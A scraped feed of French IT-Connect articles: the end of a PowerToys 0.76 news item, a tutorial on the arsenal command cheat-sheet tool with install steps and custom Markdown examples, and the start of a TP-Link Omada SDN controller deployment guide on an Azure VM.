<figure class="wp-block-image size-full"><a href="media/366fdcf7.PowerToys-0.76-Exemple-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2.jpg"><img fetchpriority="high" decoding="async" width="800" height="512" data-id="73143" src="media/366fdcf7.PowerToys-0.76-Exemple-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2.jpg" alt="" class="wp-image-73143" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2-550x352.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2-768x492.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-2-50x32.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/77d71542.PowerToys-0.76-Exemple-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1.jpg"><img decoding="async" width="800" height="512" data-id="73144" src="media/77d71542.PowerToys-0.76-Exemple-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1.jpg" alt="" class="wp-image-73144" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1-550x352.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1-768x492.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/PowerToys-0.76-Exemple-1-50x32.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p>Vous l'aurez compris, cette fois-ci, il n'y a pas de nouveau "PowerToy" intégré à cette suite d'outils très pratique. Il s'agit surtout de peaufiner l'existant, notamment avec la correction de différents bugs.</p>



<p>Il faut savoir que ce travail de relooking de certains outils va se poursuivre puisque le Color Picker devrait en profiter dans la prochaine version (0.77). Dans cette future version, un outil nommé "<em>Command Not Found</em>" devrait être intégré, tout comme la possibilité de gérer la configuration via DSC (Desired State Configuration).</p>



<h2 class="wp-block-heading">Où télécharger PowerToys 0.76 ?</h2>



<p>Comme à chaque fois, la nouvelle version de PowerToys est disponible sur le dépôt GitHub officiel, mais aussi sur le Microsoft Store et via le gestionnaire de paquets WinGet. C'est également sur le GitHub que vous pourrez retrouver la liste de tous les changements relatifs à cette nouvelle version.</p>



<ul>
<li><a href="https://github.com/microsoft/PowerToys/releases" target="_blank" rel="nofollow noopener">GitHub - PowerToys</a></li>
</ul>



<p>Pour utiliser les PowerToys, vous devez disposer d'une machine sous Windows 11 (toutes les versions) ou de Windows 10 en version 2004 ou supérieur.</p>



<p>Vous pouvez découvrir les PowerToys en regardant ma vidéo dédiée au déploiement en entreprise :</p>



<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/t8HK9pSqUXU" frameborder="0" allowfullscreen="allowfullscreen">&lt;span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">&lt;/span></iframe></p>



<p><em>Utilisez-vous les PowerToys sur votre PC Windows ?</em></p><p>The post <a href="https://www.it-connect.fr/le-point-sur-les-nouveautes-de-powertoys-0-76/">Le point sur les nouveautés de PowerToys 0.76 pour Windows</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=71632
title: Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité
uri: Avec-arsenal-créez-un-inventaire-de-vos-commandes-Linux-favorites-et
url: https://www.it-connect.fr/linux-inventaire-commandes-favorites-outil-arsenal/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p>Dans cet article, je vous présente un outil dont je me sers de façon quotidienne : <strong>arsenal</strong>. Il s'agit d'un outil <strong>open source</strong> proposé par Orange Cyberdéfense. Cet outil permet de sauvegarder et de retrouver très rapidement et facilement <strong>vos lignes de commandes favorites</strong>.</p>



<p>Pour ma part, <strong>je l'utilise pour retrouver mes commandes et outils lors de mes missions</strong> d'audit et de test d'intrusion. Mais il peut être utilisé par tout un tas de métiers utilisant quotidiennement <strong>un système Linux</strong> et qui ont des tonnes de commandes, outils et paramètres à retenir. Là où je devais auparavant aller chercher dans mes notes personnelles ou une documentation pour retrouver une commande et les options exactes à utiliser, j'utilise maintenant arsenal de la manière suivante :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img fetchpriority="high" decoding="async" width="1040" height="652" src="media/3f251d2a.utilisation-arsenal-linux.gif" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/utilisation-arsenal-linux.gif" alt="" class="wp-image-72331"/></figure></div>


<p>Pratique, n'est ce pas ?</p>



<ul>
<li><a href="https://github.com/Orange-Cyberdefense/arsenal" target="_blank" rel="noopener nofollow" title="">GitHub - Arsenal</a></li>
</ul>



<h2 class="wp-block-heading">II. Installation d'arsenal</h2>



<p>Commençons par l'installation, arsenal peut être installé de plusieurs manières :</p>



<ul>
<li><strong>Installation depuis le Github :</strong></li>
</ul>



<pre class="wp-block-code"><code>git clone https://github.com/Orange-Cyberdefense/arsenal.git
cd arsenal
python3 -m pip install -r requirements.txt
./run</code></pre>



<p>Pour aller plus vite, vous pouvez ajouter arsenal dans l'un des dossiers de votre PATH :</p>



<pre class="wp-block-code"><code>sudo ln -s /opt/arsenal/run /usr/bin/arsenal</code></pre>



<ul>
<li><strong>Installation via python3-pip</strong></li>
</ul>



<pre class="wp-block-code"><code>python3 -m pip install arsenal-cli</code></pre>



<p>Le binaire arsenal se trouvera alors dans <strong>~/.local/bin</strong>, pensez bien à le rajouter dans votre PATH si ce n'est pas déjà fait.</p>



<p><strong>Dans les deux cas</strong>, l'outil pourra être lancé depuis n'importe quel dossier avec la commande suivante :</p>



<pre class="wp-block-code"><code>arsenal</code></pre>



<p>Pour aller encore plus vite, je me suis créé un alias de commande pour associer la commande "<strong>a</strong>" et la commande "<strong>arsenal</strong>", j'ai donc accès à toutes mes commandes avec une seule lettre. Pour ce faire, ajoutez cette ligne dans votre fichier <strong>~/.bashrc</strong> (pour ceux qui utilisent bash bien sûr), puis rechargez votre terminal :</p>



<pre class="wp-block-code"><code>alias a=arsenal</code></pre>



<p>Cette action peut être automatisée par le script <strong>addalias.sh</strong> fourni dans arsenal.</p>



<ul>
<li><a href="https://www.it-connect.fr/creer-des-alias-de-commandes-sous-linux%ef%bb%bf/" target="_blank" rel="noopener" title="Linux﻿ : comment créer des alias de commandes temporaires et persistants ?">Les alias de commande sous Linux</a></li>
</ul>



<h2 class="wp-block-heading">III. Retrouver ses commandes facilement avec arsenal</h2>



<p>Par défaut, arsenal est fourni avec tout un tas de commandes plutôt orientées test d'intrusion (l'outil a été fait par/pour des pentester). Par exemple si vous souhaitez retrouver les commandes utilisant <strong>nmap</strong> (un scanner réseau), il suffit de lancer arsenal, puis de saisir "nmap" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="1040" height="439" src="media/f0d44c75.utilisation-arsenal-linux_alias.gif" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/utilisation-arsenal-linux_alias.gif" alt="" class="wp-image-72461"/></figure></div>


<p>On peut ici voir plusieurs informations :</p>



<ul>
<li>La <strong>première</strong> <strong>colonne</strong> est la plateforme cible de la commande (L pour Linux, W pour Windows), la <strong>seconde</strong> <strong>colonne</strong> la cible de la commande (local, reconnaissance, distante, etc.) et la <strong>troisième</strong> colonne la catégorie.</li>
</ul>



<ul>
<li>Les <strong>quatrième et cinquième colonnes</strong> contiennent l'outil utilisé et une courte description, puis l'on aperçoit la commande en question.</li>
</ul>



<p>Ici, tous ces champs sont pris en compte lors de la recherche. Vous pouvez donc simplement saisir <strong>Linux</strong> pour avoir toutes les commandes sur la plateforme Linux ou <strong>recon</strong> pour avoir toutes les commandes liées à de la reconnaissance, mais également commencer à saisir votre commande de tête, il ne restera au bout de quelques lettres que les 2 ou 3 commandes qui correspondent à ce que vous avez saisi.</p>



<p>Ensuite, plusieurs paramètres peuvent être à saisir pour compléter la commande et la faire correspondre à votre contexte exact, ici <strong>un nom d’utilisateur et le nom d'une base de données </strong>cible par exemple :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="172" src="media/869b1c26.arsenal_linux_commands-800x172.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands-800x172.png" alt="" class="wp-image-72463" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands-800x172.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands-550x118.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands-150x32.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands-768x165.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands-50x11.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands.png 914w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Suite à cela, il suffit de taper la touche "Entrée" pour que la commande s'ajoute dans votre terminal. Vous pourrez ensuite vérifier une dernière fois que la commande générée est la bonne, puis exécuter la commande ! <strong>Plus besoin donc de se rappeler de la totalité des options de tous vos outils, arsenal le fait pour vous</strong>.</p>



<h2 class="wp-block-heading">IV. Utiliser ses propres commandes</h2>



<p>Les commandes de pentest, c'est bien gentil, mais cela doit assez peu vous intéresser si vous n'êtes pas pentester. Bonne nouvelle, vous pouvez intégrer à arsenal toutes <strong>vos commandes favorites</strong> et enlever les commandes préenregistrées.</p>



<p>Il est en effet possible de rajouter ses propres fichiers de commande au sein du dossier <strong>~/.cheats</strong> ou du dossier <strong>my_cheats/</strong> présent dans le dossier d'arsenal. Tout fichier .md (<a href="https://fr.wikipedia.org/wiki/Markdown" target="_blank" rel="noopener nofollow" title="Markdown">Markdown</a>) créé dans ces dossiers sera parcouru par arsenal. Attention, un formatage est bien sûr à respecter, au risque de faire planter arsenal au lancement  (vous vous en apercevrez vite ;-)) . </p>



<p>Prenons un exemple : je souhaite <strong>enregistrer les commandes pour manipuler des archives tar</strong>, car les options me sortent souvent de la tête . Il conviendra de définir un fichier .md semblable à celui-ci (cet exemple est déjà intégré à arsenal) : </p>



<pre class="wp-block-code"><code># <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-purple-color">tar</mark>
% archive
#<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-green-cyan-color">plateform/linux</mark> #<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">target/local</mark> #<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-cyan-blue-color">cat/UTILS </mark>

## <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">Create a tar containing files</mark>
```
tar cf &lt;name&gt;.tar &lt;files&gt;
```

## <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">Extract the files from a tar</mark>
```
tar xf &lt;tar_file&gt;
```

## <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">Create a tar with Gzip compression</mark>
```
tar czf &lt;name&gt;.tar.gz &lt;files&gt; 
```

## <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color">Extract a tar using Gzip</mark>
```
tar xzf &lt;targz_file&gt;
```</code></pre>



<p>Je vous propose avec l'image ci-dessous une correspondance entre le contenu du fichier<strong> .md</strong> ci-dessus et le résultat dans arsenal dans l'image ci-dessous :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="142" src="media/3298f229.arsenal_linux_commands_colonnes-800x142.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes-800x142.png" alt="" class="wp-image-72467" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes-800x142.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes-550x97.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes-150x27.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes-768x136.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes-50x9.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_colonnes.png 1078w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Une chose à rajouter, vous pouvez (et c'est le plus pratique) <strong>ajouter des variables pour vos options</strong>. Par exemple, le nom du groupe et de la VM à supprimer dans la commande Azure Cloud suivante :</p>



<pre class="wp-block-code"><code>az vm delete -g MyRG -n MyLinuxVM --yes</code></pre>



<p>Pour cela, il faut mettre l'élément concerné entre chevrons (<strong>&lt; &gt;</strong>), exemple sous format arsenal :</p>



<pre class="wp-block-code"><code># az
% cloud
#plateform/Azure #target/remote #cat/UTILS 

## delete VM (with name and group specified)
```
az vm delete -g <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">&lt;groupeName&gt;</mark> -n <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">&lt;VMName&gt;</mark> --yes
```</code></pre>



<p>Voici le résultat dans l'outil :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="627" height="324" src="media/9bffebe6.arsenal_linux_commands_variable.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_variable.png" alt="" class="wp-image-72466" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_variable.png 627w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_variable-550x284.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_variable-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/arsenal_linux_commands_variable-50x26.png 50w" sizes="(max-width: 627px) 100vw, 627px" /></figure></div>


<p>Encore mieux, vous pouvez mettre des valeurs pré-saisies dans ces variables. C'est par exemple pratique si vous utilisez les mêmes valeurs dans 90% des cas, mais qu'il arrive que ces valeurs changent. On utilisera alors un pipe ( <strong>|</strong> ):</p>



<pre class="wp-block-code"><code># az
% cloud
#plateform/Azure #target/remote #cat/UTILS 

## delete VM (with the name MyLinuxVM in the group MyRG)
```
az vm delete -g &lt;groupeName<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">|ServeursWindows</mark>&gt; -n &lt;VMName<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">|VM_Windows_01</mark>&gt; --yes
```</code></pre>



<p>Vous verrez alors que vos variables de commande sont déjà remplies, mais que vous êtes toujours libre de les modifier via arsenal. Enfin <strong>pour enlever les nombreuses commandes pré-enregistrées</strong> dans arsenal, il vous suffit de renommer le dossier "<strong>cheats</strong>" par défaut : </p>



<ul>
<li>Si vous avez installé arsenal via <strong>git</strong> : il se trouvera à la racine du répertoire d'installation (par exemple <strong>/opt/arsenal/cheats)</strong></li>



<li>Si vous l'avez installé via <strong>pip</strong> : il se trouvera dans <strong>/home/&lt;username&gt;/.local/lib/python3.&lt;X&gt;/site-packages/arsenal/data/</strong>. </li>
</ul>



<p>Un renommage en cheatsOLD suffira par exemple. Pensez cependant à parcourir les fichiers <strong>.md</strong> par défaut pour vous habituer à la syntaxe des commandes et récupérer celles qui vous intéressent.</p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>Arsenal est un outil ultra pratique pour ceux qui travaillent la majorité de leur temps en ligne de commande, sa conception fait qu'il est simple et rapide d'utilisation, même si la création de vos propres cheats (fichiers Markdown) peut prendre du temps au départ. Je vous recommande vivement de l'essayer !</p>



<p>N'hésitez pas à partager votre avis et poser vos questions dans les commentaires ou sur notre discord ! <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p><p>The post <a href="https://www.it-connect.fr/linux-inventaire-commandes-favorites-outil-arsenal/">Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72881
uri: TP-Link-Omada-SDN-déployez-votre-propre-plateforme-Cloud-pour-manag
url: https://www.it-connect.fr/tp-link-omada-deployer-plateforme-cloud-manager-reseaux-securite/
title:
TP-Link Omada SDN : déployez votre propre plateforme Cloud pour manager vos réseaux et votre sécurité

content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons voir comment la solution SD Network (SDN) "TP-Link Omada" peut aider les entreprises à industrialiser le déploiement des équipements réseau. </strong>Cette solution s'adapte à des scénarios divers et variés : infrastructure monosite, infrastructure multisites, mais également plusieurs infrastructures de plusieurs clients (multitenants (organisations) / multisites). </p>



<p><strong>Cet article aborde également les fonctionnalités orientées "sécurité" de la solution TP-Link Omada, notamment la protection contre les menaces, la détection et la prévention d'intrusions (IDS/IPS) le blocage des applications avec le Deep Packet Inspection et le déploiement d'un VPN avec WireGuard. </strong>Un programme chargé, car nous avons beaucoup de fonctionnalités à découvrir !</p>



<ul>
<li><a href="https://youtu.be/sLRE4eEyr5M" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/sLRE4eEyr5M?si=U9jP_wFupiUh9e1N" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Sachez que toutes les fonctionnalités évoquées dans cet article s'ajoutent à celles déjà présentées dans mon premier article (et ma première vidéo) sur TP-Link Omada.</p>



<ul>
<li><a href="https://www.it-connect.fr/decouverte-de-tp-link-omada-une-solution-sdn-pour-administrer-tout-un-reseau/" target="_blank" rel="noopener" title="Découverte de TP-Link Omada, une solution SDN pour administrer tout un réseau">Découvrir la solution TP-Link Omada (SDN)</a></li>
</ul>



<p><strong>En complément de cet article, vous pouvez visiter le site officiel TP-Link. Voici deux liens utiles :</strong></p>



<ul>
<li><a href="https://cutt.ly/itconnect_omada_security_122023tpl" target="_blank" rel="noopener nofollow" title="">Présentation Solution Omada</a></li>



<li><a href="https://cutt.ly/itconnect_omada_controller_122023tpl" target="_blank" rel="noopener nofollow" title="">Contrôleur Omada</a></li>
</ul>



<h2 class="wp-block-heading">II. Industrialiser le déploiement des équipements réseau</h2>



<p>Dans cette partie de l'article, nous allons voir <strong>comment industrialiser le déploiement des équipements réseau en entreprise</strong>, en utilisant notre propre contrôleur <strong>TP-Link Omada </strong>déployé dans <strong>une machine virtuelle</strong>. Que ce soit pour un seul réseau, ou plusieurs réseaux correspondants à plusieurs clients, sachez que vous pouvez déployer votre propre contrôleur et en avoir la maitrise complète. </p>



<p>Ce contrôleur Omada servira à <strong>administrer l'ensemble du réseau</strong>, notamment les <strong>équipements réseau</strong> déployés sur site, que ce soit des <strong>routeurs</strong>, des <strong>switchs </strong>ou des <strong>points d'accès Wi-Fi</strong>. Un seul contrôleur Omada peut prendre en charge <strong>10 000 appareils </strong>: c'est confortable.</p>



<p>Ensuite, nous aurons comme objectif de <strong>déployer sur le réseau</strong> (celui d'un client, par exemple), <strong>un routeur, un ou des switchs et des bornes Wi-Fi, sans aller sur site</strong>. Ce qui signifie que <strong>le routeur sera préparé en atelier</strong>, tandis que les bornes Wi-Fi seront envoyées dans leur configuration d'origine. Cette configuration nous permettrait de déployer autant d'équipements Omada que l'on souhaite, de façon "<em>automatique</em>" c'est-à-dire sans effectuer la configuration de chaque équipement, en mode <strong>déploiement zero touch</strong>. Par ailleurs, ce schéma est reproductible chez d'autres clients.</p>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: Omada intègre un système de tenants (organisations) pour cloisonner les environnements des clients les uns des autres.</p>
</blockquote>



<h3 class="wp-block-heading">A. Le contrôleur TP-Link Omada dans le Cloud</h3>



<p>Pour cette démonstration, nous allons <strong>déployer un contrôleur TP-Link Omada sur une machine virtuelle hébergée dans Azure</strong>. Autrement dit, nous aurons notre propre contrôleur Omada hébergé dans le Cloud. Nous pourrons l'utiliser pour X sites et Y clients, dans la limite des ressources de la VM. Nous pourrions utiliser <a href="https://www.it-connect.fr/les-serveurs-prives-virtuels-vps-pour-les-debutants/" target="_blank" rel="noopener" title="Les «&nbsp;Serveurs Privés Virtuels&nbsp;» (VPS) pour les débutants">un VPS</a>, un <strong>serveur dédié dans le Cloud</strong>, voire même s'appuyer sur <strong>un Cloud privé</strong> ou une<strong> infrastructure on-premise</strong>, selon les besoins.</p>



<p>Même s'il y a un coût associé à l'exécution de la machine virtuelle Azure, vous devez retenir une chose importante :<strong> le logiciel TP-Link Omada est entièrement gratuit : 0 licence pour le contrôleur en lui-même, 0 licence pour les périphériques réseau et 0 licence pour les mises à jour logicielles.</strong></p>



<p>En ce qui concerne le dimensionnement du serveur amené à héberger le contrôleur, voici les informations fournies par TP-Link :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="178" src="media/987ad35e.Sizing-controleur-TP-Link-Omada.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Sizing-controleur-TP-Link-Omada.jpg" alt="Sizing contrôleur TP-Link Omada" class="wp-image-72911" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Sizing-controleur-TP-Link-Omada.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Sizing-controleur-TP-Link-Omada-550x122.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Sizing-controleur-TP-Link-Omada-150x33.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Sizing-controleur-TP-Link-Omada-768x171.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Sizing-controleur-TP-Link-Omada-50x11.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<ul>
<li><strong>Préparation de la machine virtuelle</strong></li>
</ul>



<p>La première étape consiste à <strong>déployer le système d'exploitation Windows Server</strong> pour installer le contrôleur Omada. Bien qu'ici ce soit une machine sous Windows Server, sachez qu'<strong>il existe également une version Linux</strong>. Il conviendra également de configurer le serveur, de faire les mises à jour, etc.</p>



<p>Du côté du Cloud, nous devons de configurer le NSG de la machine virtuelle pour autoriser les flux suivants :</p>



<ul>
<li><strong>Flux entrants : UDP sur le port 29810</strong></li>



<li><strong>Flux entrants : TCP sur les ports 29811 à 29814</strong></li>
</ul>



<p>Pour restreindre l'accès à notre contrôleur, l'adresse IP publique du site où seront déployés les équipements réseau sera ajoutée aux deux règles. À chaque nouveau client à déployer, il suffira d'ajouter son adresse IP publique à la liste des adresses IP autorisées. Ceci est facultatif.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/efc82c8e.Controleur-TP-Link-Omada-dans-Azure.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure.jpg"><img decoding="async" width="1200" height="493" data-id="72908" src="media/efc82c8e.Controleur-TP-Link-Omada-dans-Azure.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure.jpg" alt="" class="wp-image-72908" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure-550x226.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure-800x329.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure-150x62.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure-768x316.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-dans-Azure-50x21.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>Dans le même esprit, nous allons créer deux règles de pare-feu Windows Server pour autoriser les mêmes flux.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="202" src="media/d409cda6.VM-TP-Link-Omada-Regles-pare-feu-Windows.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VM-TP-Link-Omada-Regles-pare-feu-Windows.png" alt="" class="wp-image-72909" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VM-TP-Link-Omada-Regles-pare-feu-Windows.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VM-TP-Link-Omada-Regles-pare-feu-Windows-550x139.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VM-TP-Link-Omada-Regles-pare-feu-Windows-150x38.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VM-TP-Link-Omada-Regles-pare-feu-Windows-768x194.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/VM-TP-Link-Omada-Regles-pare-feu-Windows-50x13.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<ul>
<li><strong>Installation du contrôleur TP-Link Omada</strong></li>
</ul>



<p>L'installeur Omada Controller est disponible en libre accès sur le site de TP-Link. Une fois en notre possession, nous devons l'exécuter sur le serveur afin de procéder à son installation : c'est ultra-simple, car quelques clics suffisent.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="446" src="media/0fc362d2.Installation-controleur-TP-Link-Omada-sur-Windows-Server-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-1.png" alt="Installation contrôleur TP-Link Omada sur Windows Server - 1" class="wp-image-72886" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-1-550x307.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-1-150x84.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-1-768x428.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-1-50x28.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Avant de pouvoir installer le contrôleur, nous devons installer Java 8 sur le serveur.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="384" src="media/0c8814ae.Installation-controleur-TP-Link-Omada-sur-Windows-Server-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-2.png" alt="Installation contrôleur TP-Link Omada sur Windows Server - 2" class="wp-image-72885" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-2.png 700w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-2-550x302.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-2-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-2-50x27.png 50w" sizes="(max-width: 700px) 100vw, 700px" /></figure>



<p>Ensuite, il suffira de dérouler l'assistant.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="498" height="379" src="media/2157efcc.Installation-controleur-TP-Link-Omada-sur-Windows-Server-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-3.png" alt="Installation contrôleur TP-Link Omada sur Windows Server - 3" class="wp-image-72884" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-3.png 498w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-3-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-3-50x38.png 50w" sizes="(max-width: 498px) 100vw, 498px" /></figure>



<p>Une fois l'installation terminée, le contrôleur Omada sera initialisé sur le serveur et nous pourrons commencer la configuration avec un navigateur web.</p>



